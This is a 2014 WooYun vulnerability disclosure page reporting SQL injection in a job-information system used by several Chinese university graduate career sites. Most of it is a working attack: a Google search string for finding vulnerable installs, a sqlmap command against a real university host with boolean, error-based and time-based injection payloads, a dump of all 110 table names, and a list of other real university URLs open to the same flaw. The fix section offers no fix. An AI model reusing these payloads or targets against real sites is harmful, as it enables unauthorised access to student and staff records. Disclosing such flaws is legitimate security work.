当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073279

漏洞标题:某高校毕业生资讯网通用SQL注射漏洞

相关厂商:Cncert国家互联网应急中心

漏洞作者: 炊烟

提交时间:2014-08-21 16:32

修复时间:2014-11-19 16:34

公开时间:2014-11-19 16:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-21: 细节已通知厂商并且等待厂商处理中
2014-08-26: 厂商已经确认,细节仅向厂商公开
2014-08-29: 细节向第三方安全合作伙伴开放
2014-10-20: 细节向核心白帽子及相关领域专家公开
2014-10-30: 细节向普通白帽子公开
2014-11-09: 细节向实习白帽子公开
2014-11-19: 细节向公众公开

简要描述:

Hey~

详细说明:

Google:admin/manager/admin_voting_show.php


漏洞证明:







C:\Python27\sqlmap>sqlmap.py -u "http://jy.qhnu.edu.cn/index_major.php?gradyear=
2014&self_action=1&action_code=0&dep_id=0&major_name=%27" -D job_qhnu --tables
sqlmap/1.0-dev-f110bfe - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:44:44
[10:44:44] [WARNING] it appears that you have provided tainted parameter values
('major_name='') with most probably leftover chars/statements from manual SQL in
jection test(s). Please, always use only valid parameter values so sqlmap could
be able to run properly
are you sure you want to continue? [y/N] y
[10:44:45] [INFO] resuming back-end DBMS 'mysql'
[10:44:45] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: gradyear
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace (original value)
Payload: gradyear=(SELECT (CASE WHEN (7117=7117) THEN 2014 ELSE 7117*(SELECT
7117 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&self_action=1&action_code=0&
dep_id=0&major_name='
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: gradyear=2014 AND (SELECT 9303 FROM(SELECT COUNT(*),CONCAT(0x717365
6e71,(SELECT (CASE WHEN (9303=9303) THEN 1 ELSE 0 END)),0x7173647771,FLOOR(RAND(
0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&self_action=1&actio
n_code=0&dep_id=0&major_name='
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: gradyear=2014 AND 2703=BENCHMARK(5000000,MD5(0x4567567a))&self_acti
on=1&action_code=0&dep_id=0&major_name='
---
[10:44:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.7, PHP 5.2.17
back-end DBMS: MySQL 5.0
[10:44:45] [INFO] fetching tables for database: 'job_qhnu'
[10:44:46] [WARNING] reflective value(s) found and filtering out
[10:44:46] [INFO] the SQL query used returns 110 entries
[10:44:46] [INFO] retrieved: admin_logs
[10:44:47] [INFO] retrieved: admin_setting
[10:44:48] [INFO] retrieved: admin_stat
[10:44:48] [INFO] retrieved: admin_voting_input_results2
[10:44:49] [INFO] retrieved: admin_voting_option
[10:44:50] [INFO] retrieved: admin_voting_option2
[10:44:50] [INFO] retrieved: admin_voting_page
[10:44:51] [INFO] retrieved: admin_voting_title
[10:44:52] [INFO] retrieved: admin_voting_title2
[10:44:53] [INFO] retrieved: bulletin_files
[10:44:53] [INFO] retrieved: bulletin_images
[10:44:54] [INFO] retrieved: bulletin_zhaopin
[10:44:55] [INFO] retrieved: bulletin_zhaopinhui
[10:44:55] [INFO] retrieved: code_byqxdm
[10:44:56] [INFO] retrieved: code_dwjbdm
[10:44:56] [INFO] retrieved: code_dwjjlxdm
[10:44:57] [INFO] retrieved: code_dwxzdm
[10:44:58] [INFO] retrieved: code_gzgllbdm
[10:44:58] [INFO] retrieved: code_hyzkdm
[10:44:59] [INFO] retrieved: code_jclbdm
[10:45:00] [INFO] retrieved: code_jhxzdm
[10:45:00] [INFO] retrieved: code_jsjspdm
[10:45:01] [INFO] retrieved: code_jylsfsdm
[10:45:02] [INFO] retrieved: code_mz
[10:45:02] [INFO] retrieved: code_pyfsdm
[10:45:03] [INFO] retrieved: code_tdfsdm
[10:45:03] [INFO] retrieved: code_tdxzdm
[10:45:04] [INFO] retrieved: code_wyjbdm
[10:45:05] [INFO] retrieved: code_wyyz
[10:45:05] [INFO] retrieved: code_xjbddm
[10:45:06] [INFO] retrieved: code_xldm
[10:45:07] [INFO] retrieved: code_xwdm
[10:45:07] [INFO] retrieved: code_xzqh
[10:45:08] [INFO] retrieved: code_yxdm
[10:45:09] [INFO] retrieved: code_zgbmdm
[10:45:09] [INFO] retrieved: code_zhcpdm
[10:45:10] [INFO] retrieved: code_zy
[10:45:10] [INFO] retrieved: code_zzmm
[10:45:11] [INFO] retrieved: com_city
[10:45:11] [INFO] retrieved: com_departments
[10:45:12] [INFO] retrieved: com_failurelog
[10:45:13] [INFO] retrieved: com_jobs
[10:45:13] [INFO] retrieved: com_jobs_store
[10:45:14] [INFO] retrieved: com_jobsubtrade
[10:45:14] [INFO] retrieved: com_jobtrade
[10:45:15] [INFO] retrieved: com_property
[10:45:16] [INFO] retrieved: com_province
[10:45:16] [INFO] retrieved: com_reginfo
[10:45:17] [INFO] retrieved: com_subtrade
[10:45:17] [INFO] retrieved: com_successfullog
[10:45:18] [INFO] retrieved: com_trade
[10:45:19] [INFO] retrieved: com_users
[10:45:20] [INFO] retrieved: job_accept
[10:45:20] [INFO] retrieved: job_class
[10:45:21] [INFO] retrieved: job_history
[10:45:21] [INFO] retrieved: job_invite
[10:45:22] [INFO] retrieved: job_post
[10:45:22] [INFO] retrieved: job_practice
[10:45:23] [INFO] retrieved: job_recommend
[10:45:24] [INFO] retrieved: job_selfrecommend
[10:45:24] [INFO] retrieved: job_store
[10:45:25] [INFO] retrieved: job_subclass
[10:45:26] [INFO] retrieved: message_receive
[10:45:26] [INFO] retrieved: practice_recorder
[10:45:27] [INFO] retrieved: practice_report
[10:45:28] [INFO] retrieved: school_ad
[10:45:28] [INFO] retrieved: school_bulletin
[10:45:29] [INFO] retrieved: school_bulletin_careerprject
[10:45:29] [INFO] retrieved: school_bulletin_cyjy
[10:45:30] [INFO] retrieved: school_bulletin_stdinfo
[10:45:30] [INFO] retrieved: school_class
[10:45:31] [INFO] retrieved: school_company_portrait
[10:45:32] [INFO] retrieved: school_department
[10:45:32] [INFO] retrieved: school_discuss
[10:45:33] [INFO] retrieved: school_failurelog
[10:45:33] [INFO] retrieved: school_faq
[10:45:34] [INFO] retrieved: school_flash
[10:45:35] [INFO] retrieved: school_guide
[10:45:35] [INFO] retrieved: school_info
[10:45:36] [INFO] retrieved: school_jobinfo
[10:45:36] [INFO] retrieved: school_joblink
[10:45:37] [INFO] retrieved: school_links
[10:45:37] [INFO] retrieved: school_linksdepartment
[10:45:38] [INFO] retrieved: school_linksgjgx
[10:45:39] [INFO] retrieved: school_linksimage
[10:45:39] [INFO] retrieved: school_linksjybm
[10:45:40] [INFO] retrieved: school_linksldbs
[10:45:40] [INFO] retrieved: school_linksoffice
[10:45:41] [INFO] retrieved: school_linksother
[10:45:41] [INFO] retrieved: school_linksqxbm
[10:45:42] [INFO] retrieved: school_major
[10:45:43] [INFO] retrieved: school_map
[10:45:43] [INFO] retrieved: school_policy
[10:45:44] [INFO] retrieved: school_qqchat
[10:45:44] [INFO] retrieved: school_rolemap
[10:45:45] [INFO] retrieved: school_student_portrait
[10:45:45] [INFO] retrieved: school_successfullog
[10:45:46] [INFO] retrieved: school_upfiles
[10:45:47] [INFO] retrieved: school_user
[10:45:47] [INFO] retrieved: sm_config
[10:45:48] [INFO] retrieved: sm_content
[10:45:48] [INFO] retrieved: sm_money
[10:45:49] [INFO] retrieved: sm_ready
[10:45:50] [INFO] retrieved: sm_records
[10:45:50] [INFO] retrieved: std_base
[10:45:51] [INFO] retrieved: std_career
[10:45:51] [INFO] retrieved: std_jobstore
[10:45:52] [INFO] retrieved: std_logfailure
[10:45:52] [INFO] retrieved: std_logsuccess
[10:45:53] [INFO] retrieved: std_status
Database: job_qhnu
[110 tables]
+------------------------------+
| admin_logs |
| admin_setting |
| admin_stat |
| admin_voting_input_results2 |
| admin_voting_option |
| admin_voting_option2 |
| admin_voting_page |
| admin_voting_title |
| admin_voting_title2 |
| bulletin_files |
| bulletin_images |
| bulletin_zhaopin |
| bulletin_zhaopinhui |
| code_byqxdm |
| code_dwjbdm |
| code_dwjjlxdm |
| code_dwxzdm |
| code_gzgllbdm |
| code_hyzkdm |
| code_jclbdm |
| code_jhxzdm |
| code_jsjspdm |
| code_jylsfsdm |
| code_mz |
| code_pyfsdm |
| code_tdfsdm |
| code_tdxzdm |
| code_wyjbdm |
| code_wyyz |
| code_xjbddm |
| code_xldm |
| code_xwdm |
| code_xzqh |
| code_yxdm |
| code_zgbmdm |
| code_zhcpdm |
| code_zy |
| code_zzmm |
| com_city |
| com_departments |
| com_failurelog |
| com_jobs |
| com_jobs_store |
| com_jobsubtrade |
| com_jobtrade |
| com_property |
| com_province |
| com_reginfo |
| com_subtrade |
| com_successfullog |
| com_trade |
| com_users |
| job_accept |
| job_class |
| job_history |
| job_invite |
| job_post |
| job_practice |
| job_recommend |
| job_selfrecommend |
| job_store |
| job_subclass |
| message_receive |
| practice_recorder |
| practice_report |
| school_ad |
| school_bulletin |
| school_bulletin_careerprject |
| school_bulletin_cyjy |
| school_bulletin_stdinfo |
| school_class |
| school_company_portrait |
| school_department |
| school_discuss |
| school_failurelog |
| school_faq |
| school_flash |
| school_guide |
| school_info |
| school_jobinfo |
| school_joblink |
| school_links |
| school_linksdepartment |
| school_linksgjgx |
| school_linksimage |
| school_linksjybm |
| school_linksldbs |
| school_linksoffice |
| school_linksother |
| school_linksqxbm |
| school_major |
| school_map |
| school_policy |
| school_qqchat |
| school_rolemap |
| school_student_portrait |
| school_successfullog |
| school_upfiles |
| school_user |
| sm_config |
| sm_content |
| sm_money |
| sm_ready |
| sm_records |
| std_base |
| std_career |
| std_jobstore |
| std_logfailure |
| std_logsuccess |
| std_status |
+------------------------------+
[10:45:53] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\jy.qhnu.edu.cn'
[*] shutting down at 10:45:53


http://jy.qhnu.edu.cn/index_major.php?gradyear=2014&self_action=1&action_code=0&dep_id=0&major_name=11
http://jy.jxdx.com/index_major.php?gradyear=2014&self_action=1&action_code=0&dep_id=0&major_name=11
http://xhsysu.university-hr.cn/index_major.php?gradyear=2014&self_action=1&action_code=0&dep_id=0&major_name=11
http://career.jnu.edu.cn/index_major.php?gradyear=2014&self_action=1&action_code=0&dep_id=0&major_name=11
http://jxstnu.good-edu.cn/index_major.php?gradyear=2014&self_action=1&action_code=0&dep_id=0&major_name=11
http://jy.gotonsmc.cn/index_major.php?gradyear=2014&self_action=1&action_code=0&dep_id=0&major_name=11
http://smu.university-hr.cn/index_major.php?gradyear=2014&self_action=1&action_code=0&dep_id=0&major_name=11
还有很多...

修复方案:

请勿非法测试..

版权声明:转载请注明来源 炊烟@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-08-26 15:29

厂商回复:

通知处理中

最新状态:

暂无